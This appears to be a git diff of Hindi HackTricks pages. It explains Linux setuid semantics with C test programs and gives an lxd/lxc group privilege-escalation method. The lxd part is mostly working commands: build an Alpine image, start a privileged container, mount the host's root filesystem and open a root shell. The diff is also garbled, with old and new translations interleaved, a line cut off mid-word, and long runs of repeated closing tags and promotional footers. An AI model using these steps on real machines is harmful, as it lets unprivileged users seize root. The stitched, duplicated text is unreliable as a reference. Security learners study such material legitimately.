### User Identification Variables
- **`ruid`**: **रियल उपयोगकर्ता आईडी** उस उपयोगकर्ता को दर्शाता है जिसने प्रक्रिया प्रारंभ की है
- **`euid`**: **प्रभावी उपयोगकर्ता आईडी** के रूप में जाना जाता है, यह उपयोगकर्ता पहचान को स्थापित करने के लिए सिस्टम द्वारा उपयोग किया जाता है। सामान्यत: `euid` `ruid` का प्रतिबिम्ब करता है, सिवाय उदाहरणों के जैसे कि SetUID बाइनरी क्रियान्वयन, जहां `euid` फ़ाइल के मालिक की पहचान लेता है, इसलिए विशेष कार्यान्वयन अनुमतियाँ प्रदान करता है।
- **`suid`**: यह **सहेजी गई उपयोगकर्ता आईडी** महत्वपूर्ण है जब एक उच्च-विशेषाधिकार प्रक्रिया (सामान्यत: जड़) को कुछ कार्य करने के लिए अस्थायी रूप से अपने विशेषाधिकारों से वंचित करने की आवश्यकता होती है, केवल इसके बाद अपनी प्रारंभिक उच्च स्थिति को पुनः प्राप्त करने के लिए।
- **`ruid`**: **वास्तविक उपयोगकर्ता आईडी** उस उपयोगकर्ता को दर्शाता है जिसने प्रक्रिया शुरू की
- **`euid`**: **प्रभावी उपयोगकर्ता आईडी** के रूप में जाना जाता है, यह उस उपयोगकर्ता पहचान का प्रतिनिधित्व करता है जिसका उपयोग प्रणाली प्रक्रिया के विशेषाधिकारों का निर्धारण करने के लिए करती है। सामान्यतः, `euid` `ruid` के समान होता है, सिवाय उन मामलों के जैसे कि SetUID बाइनरी निष्पादन, जहां `euid` फ़ाइल के मालिक की पहचान ग्रहण करता है, इस प्रकार विशिष्ट संचालन अनुमतियाँ प्रदान करता है।
- **`suid`**: यह **सहेजी गई उपयोगकर्ता आईडी** महत्वपूर्ण है जब एक उच्च-विशेषाधिकार प्रक्रिया (आमतौर पर रूट के रूप में चल रही) को कुछ कार्य करने के लिए अस्थायी रूप से अपने विशेषाधिकारों को छोड़ने की आवश्यकता होती है, केवल बाद में अपनी प्रारंभिक ऊंची स्थिति को पुनः प्राप्त करने के लिए।
#### महत्वपूर्ण नोट
एक प्रक्रिया जो रूट के तहत काम नहीं कर रही है, केवल अपना `euid` मौजूदा `ruid`, `euid`, या `suid` के समान बना सकती है।
#### Important Note
एक प्रक्रिया जो रूट के तहत कार्य नहीं कर रही है, केवल अपने `euid` को वर्तमान `ruid`, `euid`, या `suid` के साथ मेल करने के लिए संशोधित कर सकती है।
### set*uid फ़ंक्शनों की समझ
### Understanding set*uid Functions
- **`setuid`**: प्राथमिक धारणाओं के विपरीत, `setuid` मुख्य रूप से `ruid` को संशोधित करता है बल्कि `euid`। विशेष रूप से विशेषाधिकारी प्रक्रियाओं के लिए, यह निर्दिष्ट उपयोगकर्ता के साथ `ruid`, `euid`, और `suid` को समान करता है, अक्सर रूट, इन IDs को मजबूत बनाने के कारण। विस्तृत अनुशासन मिल सकता है [setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html) में।
- **`setreuid`** और **`setresuid`**: ये फ़ंक्शन `ruid`, `euid`, और `suid` को सूक्ष्म रूप से समायोजित करने की अनुमति देते हैं। हालांकि, उनकी क्षमताएँ प्रक्रिया के विशेषाधिकार स्तर पर निर्भर हैं। गैर-रूट प्रक्रियाओं के लिए, संशोधन मौजूदा मूल्यों की सीमित होती है `ruid`, `euid`, और `suid` की। विपरीत, रूट प्रक्रियाएँ या उनके पास `CAP_SETUID` क्षमता हो सकती हैं इन IDs को इसके मान को निर्धारित कर सकती हैं। अधिक जानकारी प्राप्त की जा सकती है [setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) और [setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html) से।
- **`setuid`**: प्रारंभिक धारणाओं के विपरीत, `setuid` मुख्य रूप से `euid` को संशोधित करता है न कि `ruid`। विशेष रूप से, विशेषाधिकार प्राप्त प्रक्रियाओं के लिए, यह `ruid`, `euid`, और `suid` को निर्दिष्ट उपयोगकर्ता, अक्सर रूट, के साथ संरेखित करता है, प्रभावी रूप से इन आईडी को `suid` द्वारा ओवरराइड करके मजबूत करता है। विस्तृत जानकारी [setuid मैन पृष्ठ](https://man7.org/linux/man-pages/man2/setuid.2.html) में पाई जा सकती है
- **`setreuid`** और **`setresuid`**: ये कार्य `ruid`, `euid`, और `suid` के सूक्ष्म समायोजन की अनुमति देते हैं। हालाँकि, उनकी क्षमताएँ प्रक्रिया के विशेषाधिकार स्तर पर निर्भर करती हैं। गैर-रूट प्रक्रियाओं के लिए, संशोधन वर्तमान `ruid`, `euid`, और `suid`े मानों तक समित हैं इसके विपरीत, रूट प्रक्रियाएँ या वे जिनके पास `CAP_SETUID` क्षमता है, इन आईडी को मनमाने मान सौंप सकती हैं। अधिक जानकारी [setresuid मैन पृष्ठ](https://man7.org/linux/man-pages/man2/setresuid.2.html) और [setreuid मैन पृष्ठ](https://man7.org/linux/man-pages/man2/setreuid.2.html) से प्राप्त की जा सकती है
ये कार्यक्षमताएँ सुरक्षा उपाय के रूप में नहीं डिज़ाइन की गई हैं बल्कि इच्छित कार्यान्वयन फ्लो को सुविधाजनक बनाने के लिए, जैसे जब एक कार्यक्रम अपने प्रभावी उपयोगकर्ता आईडी को संशोधित करके किसी अन्य उपयोगकर्ता की पहचान अपनाता है।
ये कार्यक्षमताएँ सुरक्षा तंत्र के रूप में नहीं बल्कि अपेक्षित संचालन प्रवाह को सुविधाजनक बनाने के लिए डिज़ाइन की गई हैं, जैसे कि जब एक कार्यक्रम अपनी प्रभावी उपयोगकर्ता आईडी को बदलकर दूसरे उपयोगकर्ता की पहचान अपनाता है।
विशेष रूप से, जब `setuid` रूट के लिए विशेषाधिकार उन्नयन के लिए एक सामान्य विकल्प हो सकता है (क्योंकि यह सभी IDs को रूट के साथ समान करता है), तो इन फ़ंक्शनों के बीच भिन्नता को समझने और उपयोगकर्ता आईडी के व्यवहार को विभिन्न परिस्थितियों में कैसे नियंत्रित किया जाए, यह महत्वपूर्ण है।
विशेष रूप से, जबकि `setuid` रूट के लिए विशेषाधिकार वृद्धि के लिए एक सामान्य विकल्प हो सकता है (क्योंकि यह सभी आईडी को रूट के साथ संरेखित करता है), इन कार्यों के बीच भेद करना विभिन्न परिदृश्यों में उपयोगकर्ता आईडी व्यवहार को समझने और हेरफेर करने के लिए महत्वपूर्ण है।
### लिनक्स में कार्यक्रम निष्पादन तंत्र
### Program Execution Mechanisms in Linux
#### **`execve` सिस्टम कॉल**
- **कार्यक्षमता**: `execve` पहले तर्क द्वारा निर्धारित एक कार्यक्रम प्रारंभ करता है। यह दो सरणियों, `argv` के लिए तर्क और `envp` के लिए पर्यावरण, लेता है
- **व्यवहार**: यह कॉलर की मेमोरी स्थान को बनाए रखता है लेकिन स्टैक, हीप, और डेटा सेगमेंट को ताजगी देता है। कार्यक्रम कोड नए कार्यक्रम द्वारा बदल दिया जाता है।
- **उपयोगकर्ता आईडी संरक्षण**:
- `ruid`, `euid`, और सहायक समूह आईडी अपरिवर्तित रहते हैं।
- अगर नया कार्यक्रम SetUID बिट सेट है तो `euid` में सूक्ष्म परिवर्तन हो सकता है
- `suid` को `euid` से अपडेट किया जाता है `execve` के पश्चात
- **दस्तावेज़ीकरण**: विस्तृत जानकारी [`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html) पर उपलब्ध है।
#### **`execve` System Call**
- **Functionality**: `execve` एक कार्यक्रम शुरू करता है, जो पहले तर्क द्वारा निर्धारित होता है। यह दो ऐरे तर्क लेता है, `argv` तर्कों के लिए और `envp` पर्यावरण के लिए
- **Behavior**: यह कॉलर की मेमोरी स्पेस को बनाए रखता है लेकिन स्टैक, हीप, और डेटा सेगमेंट को ताज़ा करता है। कार्यक्रम का कोड नए कार्यक्रम द्वारा प्रतिस्थापित किया जाता है।
- **User ID Preservation**:
- `ruid`, `euid`, और अतिरिक्त समूह आईडी अपरिवर्तित रहते हैं।
- यदि नए कार्यक्रम में SetUID बिट सेट है तो `euid` में सूक्ष्म परिवर्तन हो सकते हैं
- निष्पादन के बाद `suid` को `euid` से अपडेट किया जाता है।
- **Documentation**: विस्तृत जानकारी [`execve` मैन पृष्ठ](https://man7.org/linux/man-pages/man2/execve.2.html) पर पाई जा सकती है।
#### **`system` फ़ंक्शन**
- **कार्यक्षमता**: `execve` की विपरीत, `system` `fork` का उपयोग करके एक बच्चा प्रक्रिया बनाता है और उस बच्चा प्रक्रिया में `execl` का उपयोग करके एक कमांड को निष्पादित करता है।
- **कमांड निष्पादन**: `execl("/bin/sh", "sh", "-c", command, (char *) NULL);` के माध्यम से `sh` के माध्यम से कमांड निष्पादित करता है
- **व्यवहार**: `execl` `execve` का एक रूप होने के बावजूद, यह एक नए बच्चा प्रक्रिया के संदर्भ में समान रूप से काम करता है
- **दस्तावेज़ीकरण**: अधिक जानकारी [`system` man page](https://man7.org/linux/man-pages/man3/system.3.html) से प्राप्त की जा सकती है।
#### **`system` Function**
- **Functionality**: `execve` के विपरीत, `system` एक बच्चे की प्रक्रिया बनाता है जिसका उपयोग `fork` करता है और उस बच्चे की प्रक्रिया में एक आदेश निष्पादित करता है जिसका उपयोग `execl` करता है।
- **Command Execution**: आदेश को `sh` के माध्यम से निष्पादित करता है `execl("/bin/sh", "sh", "-c", command, (char *) NULL);` का उपयोग करके
- **Behavior**: चूंकि `execl` `execve` का एक रूप है, यह समान रूप से कार्य करता है लेकिन एक नए बच्चे की प्रक्रिया के संदर्भ में।
- **Documentation**: आगे की जानकारी [`system` मैन पृष्ठ](https://man7.org/linux/man-pages/man3/system.3.html) से प्राप्त की जा सकती है।
#### **`bash` और `sh` का SUID के साथ व्यवहार**
#### **Behavior of `bash` and `sh` with SUID**
- **`bash`**:
- `-p` विकल्प है जो `euid` और `ruid`ो कैसे व्यवहारित किया जाता है, इस पर प्रभाव पड़ता है।
- `-p` के बिना, अगर वे पहले से भिन्न हैं, तो `bash` `euid` को `ruid` सेट करता है।
- `-p` के साथ, प्रारंभिक `euid` संरक्षित रहता है।
- अधिक विवरण [`bash` man page](https://linux.die.net/man/1/bash) पर उपलब्ध है।
- इसका एक `-p` विकल्प है जो `euid` और `ruid`े साथ व्यवहार को प्रभावित करता है।
- बिना `-p` के, `bash` `euid` को `ruid` पर सेट करता है यदि वे प्रारंभ में भिन्न होते हैं
- `-p` के साथ, प्रारंभिक `euid` को संरक्षित किया जाता है।
- अधिक विवरण [`bash` मैन पृष्ठ](https://linux.die.net/man/1/bash) पर पाया जा सकता है।
- **`sh`**:
- `bash` में `-p` के समान एक तंत्र नहीं है।
- उपयोगकर
- `bash` में `-p` के समान कोई तंत्र नहीं है।
- उपयोगकर्ता आईडी के संबंध में व्यवहार स्पष्ट रूप से उल्लेखित नहीं है, सिवाय `-i` विकल्प के तहत, जो `euid` और `ruid` की समानता को बनाए रखने पर जोर देता है।
- अतिरिक्त जानकारी [`sh` मैन पृष्ठ](https://man7.org/linux/man-pages/man1/sh.1p.html) पर उपलब्ध है।
ये तंत्र, अपने संचालन में भिन्न, कार्यक्रमों को निष्पादित करने और उनके बीच संक्रमण के लिए एक बहुपरकारी विकल्प प्रदान करते हैं, जिसमें उपयोगकर्ता आईडी के प्रबंधन और संरक्षण में विशिष्ट सूक्ष्मताएँ होती हैं।
### Testing User ID Behaviors in Executions
Examples taken from https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, check it for further information
#### Case 1: Using `setuid` with `system`
**Objective**: Understanding the effect of `setuid` in combination with `system` and `bash` as `sh`.
**C Code**:
```c
#define _GNU_SOURCE
#include <stdlib.h>
@ -79,14 +95,14 @@ uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconf
```
**विश्लेषण:**
* `ruid` और `euid` पहले 99 (कोई नहीं) और 1000 (फ्रैंक) के रूप में शुरू होते हैं।
* `setuid` दोनों को 1000 के लिए संरेखित करता है।
* `system` `/bin/bash -c id` को निष्पादित करता है क्योंकि sh से bash तक का सिमलिंक है।
* `-p` के बिना `bash` `euid` को `ruid` के समान करने के लिए समायोजित करता है, जिससे दोनों 99 (कोई नहीं) होते हैं।
* `ruid` और `euid` क्रमशः 99 (कोई नहीं) और 1000 (फ्रैंक) के रूप में शुरू होते हैं।
* `setuid` दोनों को 1000 पर संरेखित करता है।
* `system` `/bin/bash -c id` को sh से bash के लिए symlink के कारण निष्पादित करता है।
* `bash`, बिना `-p` के, `euid` को `ruid` के साथ मेल खाने के लिए समायोजित करता है, जिसके परिणामस्वरूप दोनों 99 (कोई नहीं) हो जाते हैं।
#### मामला 2: सिस्टम के साथ setreuid का उपयोग करना
#### मामला 2: सिस्टम के साथ setreuid का उपयोग
**सी कोड**:
**C कोड**:
```c
#define _GNU_SOURCE
#include <stdlib.h>
@ -102,7 +118,7 @@ return 0;
```bash
oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b
```
**व्यावहारिकरण और परिणाम:**
**निष्पादन और परिणाम:**
```bash
bash-4.2$ $ ./b
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
@ -110,10 +126,10 @@ uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:uncon
**विश्लेषण:**
* `setreuid` दोनों ruid और euid को 1000 पर सेट करता है।
* `system` बैश को आमंत्रित करता है, जो उनके समानता के कारण उपयोगकर्ता आईडी को बनाए रखता है, असल में frank के रूप में कार्य करता है।
* `system` bash को सक्रिय करता है, जो उनकी समानता के कारण उपयोगकर्ता आईडी को बनाए रखता है, प्रभावी रूप से frank के रूप में कार्य करता है।
#### मामला 3: execve के साथ setuid का उपयोग
लक्ष्य: setuid और execve के बीच बातचीत का अन्वेषण।
#### मामला 3: execve के साथ setuid का उपयोग करना
उद्देश्य: setuid और execve के बीच बातचीत का अन्वेषण करना
```bash
#define _GNU_SOURCE
#include <stdlib.h>
@ -125,16 +141,16 @@ execve("/usr/bin/id", NULL, NULL);
return 0;
}
```
**व्यावहारिक और परिणाम:**
**निष्पादन और परिणाम:**
```bash
bash-4.2$ $ ./c
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```
**विश्लेषण:**
* `ruid` 99 रहता है, लेकिन euid 1000 पर सेट किया गया है, setuid के प्रभाव के साथ
* `ruid` 99 पर बना रहता है, लेकिन euid 1000 पर सेट किया गया है, जो setuid के प्रभाव के अनुरूप है
**सी कोड उदाहरण 2 (बैश को कॉल करना):**
**C कोड उदाहरण 2 (Bash को कॉल करना):**
```bash
#define _GNU_SOURCE
#include <stdlib.h>
@ -146,7 +162,7 @@ execve("/bin/bash", NULL, NULL);
return 0;
}
```
**व्यावहारिकरण और परिणाम:**
**निष्पादन और परिणाम:**
```bash
bash-4.2$ $ ./d
bash-4.2$ $ id
@ -154,9 +170,9 @@ uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconf
```
**विश्लेषण:**
* यद्यपि `setuid` द्वारा `euid` को 1000 पर सेट किया जाता है, लेकिन `-p` की अनुपस्थिति के कारण `bash` `ruid` (99) पर euid को रीसेट कर देता है।
* हालाँकि `euid` को `setuid` द्वारा 1000 पर सेट किया गया है, `bash` `-p` की अनुपस्थिति के कारण euid को `ruid` (99) पर रीसेट कर देता है।
**सी संकेत उदाहरण 3 (bash -p का उपयोग करके):**
**C कोड उदाहरण 3 (bash -p का उपयोग करते हुए):**
```bash
#define _GNU_SOURCE
#include <stdlib.h>
@ -169,7 +185,7 @@ execve(paramList[0], paramList, NULL);
return 0;
}
```
**व्यावहारिकरण और परिणाम:**
**निष्पादन और परिणाम:**
```bash
bash-4.2$ $ ./e
bash-4.2$ $ id
@ -179,14 +195,17 @@ uid=99(nobody) gid=99(nobody) euid=100
* [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड** करने का एक्सेस चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**दी पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,26 +1,49 @@
# lxd/lxc समूह - प्रिविलेज उन्नति
# lxd/lxc समूह - विशेषाधिकार वृद्धि
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
यदि आप _**lxd**_ **या** _**lxc**_ **समूह** में शामिल हैं, तो आप रूट बन सकते हैं
यदि आप _**lxd**_ **या** _**lxc**_ **समूह** के सदस्य हैं, तो आप रूट बन सकते हैं
## इंटरनेट के बिना उत्पीड़न करना
## इंटरनेट के बिना शोषण
### विधि 1
आप अपनी मशीन में इस डिस्ट्रो बिल्डर को स्थापित कर सकते हैं: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(गिथब के निर्देशों का पालन करें):
आप अपन मशीन में इस डिस्ट्रो बिल्डर को स्थापित कर सकते हैं: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(गिटहब के निर्देशों का पालन करें):
```bash
sudo su
#Install requirements
@ -38,7 +61,7 @@ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
```
ाइलें **lxd.tar.xz** और **rootfs.squashfs** अपलोड करें, छवि को रेपो में जोड़ें और एक कंटेनर बनाएँ:
फाइलें **lxd.tar.xz** और **rootfs.squashfs** अपलोड करें, इमेज को रेपो में जोड़ें और एक कंटेनर बनाएं:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -54,19 +77,19 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
{% hint style="danger" %}
यदि आप यह त्रुटि _**त्रुटि: कोई स्टोरेज पूल नहीं मिला। कृपया एक नया स्टोरेज पूल बनाएं**_ पाते हैं\
**`lxd init`** चलाएं और **पिछले** चंक के कमांड दोहराएं
यदि आप यह त्रुटि _**त्रुटि: कोई स्टोरेज पूल नहीं मिला। कृपया एक नया स्टोरेज पूल बनाएं**_\
**`lxd init`** चलाएं और **पिछले आदेशों के समूह को दोहराएं**
{% endhint %}
अंततः आप कंटेनर को चला सकते हैं और रूट प्राप्त कर सकते हैं:
अंत में, आप कंटेनर को निष्पादित कर सकते हैं और रूट प्राप्त कर सकते हैं:
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
### विधि 2
### Method 2
एक Alpine छवि बनाएं और उसे ध्वज `security.privileged=true` का उपयोग करके शुरू करें, जिससे कंटेनर को मजबूर किया जाए कि वह मुख्य फ़ाइल सिस्टम के रूप में रूट के रूप में व्यवहार करे।
एक Alpine इमेज बनाएं और इसे `security.privileged=true` फ्लैग का उपयोग करके शुरू करें, जिससे कंटेनर को होस्ट फ़ाइल सिस्टम के साथ रूट के रूप में इंटरैक्ट करने के लिए मजबूर किया जा सके।
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
@ -86,37 +109,65 @@ lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```
वैकल्पिक रूप से [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root)
## इंटरनेट के साथ
आप [इन निर्देशों](https://reboare.github.io/lxd/lxd-escape.html) का पालन कर सकते हैं।
```bash
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
## संदर्भ
* [https://reboare.github.io/lxd/lxd-escape.html](https://reboare.github.io/lxd/lxd-escape.html)
* [https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/](https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PR जमा करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}

View file

@ -1,22 +1,32 @@
# ld.so privesc exploit example
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a> <strong>के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
